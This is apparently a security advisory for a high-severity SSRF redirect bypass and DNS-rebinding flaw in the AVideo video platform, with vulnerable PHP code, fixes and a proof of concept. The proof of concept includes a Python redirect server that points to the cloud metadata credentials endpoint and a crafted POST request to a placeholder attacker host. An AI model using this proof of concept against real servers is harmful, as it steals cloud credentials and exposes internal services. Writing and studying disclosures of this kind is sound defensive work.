| Package | Affected versions | Patched versions |
|---|---|---|
| wwbn/avideo | ≤ 29.0 |
Two endpoints in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file_get_contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections.
A secondary finding is that 6+ callers of isSSRFSafeURL() discard the $resolvedIP out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.
Severity: High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
Vulnerable code — plugin/AI/receiveAsync.json.php (line ~162–165):
// SSRF Protection: Validate URL before fetching
if (!isSSRFSafeURL($imageUrl)) {
// blocked
} else {
$imageContent = file_get_contents($imageUrl); // ← FOLLOWS REDIRECTS!
}
Vulnerable code — objects/EpgParser.php (line ~358–362):
if (!isSSRFSafeURL($this->url)) {
throw new \RuntimeException('URL blocked by SSRF protection');
}
$this->content = @file_get_contents($this->url); // ← FOLLOWS REDIRECTS!
Safe code for comparison — objects/functions.php, url_get_contents():
$opts = ['http' => ['follow_location' => 0]]; // Disable auto-redirect
$context = stream_context_create($opts);
for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) {
$fetched = file_get_contents($currentUrl, false, $context);
// ... parse Location header ...
if ($redirectTarget) {
if (!isSSRFSafeURL($redirectTarget)) { // Re-validates EACH hop
return false;
}
$currentUrl = $redirectTarget;
continue;
}
$tmp = $fetched;
break;
}
Root cause: The SSRF redirect protection (follow_location=0 + manual redirect loop with per-hop isSSRFSafeURL() re-validation) was correctly implemented in url_get_contents() but NOT propagated to these two endpoints that call file_get_contents() directly. PHP's default follow_location is 1 (follow redirects).
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeisSSRFSafeURL() provides a $resolvedIP out-parameter for DNS pinning via CURLOPT_RESOLVE. Only 1 of 9 callers (plugin/LiveLinks/proxy.php) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).
Affected callers (no DNS pinning):
objects/aVideoEncoderReceiveImage.json.php — 4 call sitesobjects/aVideoEncoder.json.php — 1 call siteplugin/BulkEmbed/save.json.php — 1 call siteplugin/AI/receiveAsync.json.php — 1 call siteobjects/EpgParser.php — 1 call siteplugin/Scheduler/Scheduler.php — 1 call sitefrom http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
self.end_headers()
HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
POST /plugin/AI/receiveAsync.json.php
Content-Type: application/x-www-form-urlencoded
type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir
isSSRFSafeURL("http://ATTACKER_IP:8888/redir") resolves attacker IP → public → passesfile_get_contents("http://ATTACKER_IP:8888/redir") follows 302 to http://169.254.169.254/... — no SSRF re-check occursControl test: Replace the redirect target with a legitimate public URL — isSSRFSafeURL() passes and the content is fetched normally, confirming the function works for non-malicious URLs.
isSSRFSafeURL)127.0.0.1 (reaches internal services)http://rebind.attacker.com/image.jpg to any affected endpointisSSRFSafeURL() resolves → public IP → passes (discards $resolvedIP)url_get_contents() / file_get_contents() resolves again → 127.0.0.1 → SSRF achievedAn authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including:
The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface.
Fix 1 (Redirect bypass — immediate): Route both affected files through url_get_contents() which already handles redirects safely, or add explicit no-redirect context:
$ctx = stream_context_create(['http' => ['follow_location' => 0]]);
$imageContent = file_get_contents($imageUrl, false, $ctx);
Fix 2 (DNS rebinding — defense-in-depth): Update all callers to capture $resolvedIP and pass it to a DNS-pinning-aware fetch function using CURLOPT_RESOLVE.
Kai Aizen [email protected]